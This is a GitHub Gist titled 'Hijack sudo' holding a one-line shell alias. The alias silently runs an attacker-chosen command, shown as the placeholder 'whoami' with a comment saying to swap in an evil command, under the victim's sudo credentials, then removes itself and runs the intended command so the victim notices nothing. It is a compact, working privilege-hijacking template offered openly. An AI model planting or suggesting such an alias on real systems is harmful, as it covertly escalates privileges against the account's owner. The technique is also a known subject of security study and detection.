Last active
April 7, 2022 15:36
-
-
Save guidobit/7eaff457adbc93f5d62c4fa9f7f9d0c7 to your computer and use it in GitHub Desktop.
Hijack sudo
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Replace whoami with evil command | |
alias -p sudo='sudo whoami && builtin unalias sudo && sudo ' | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment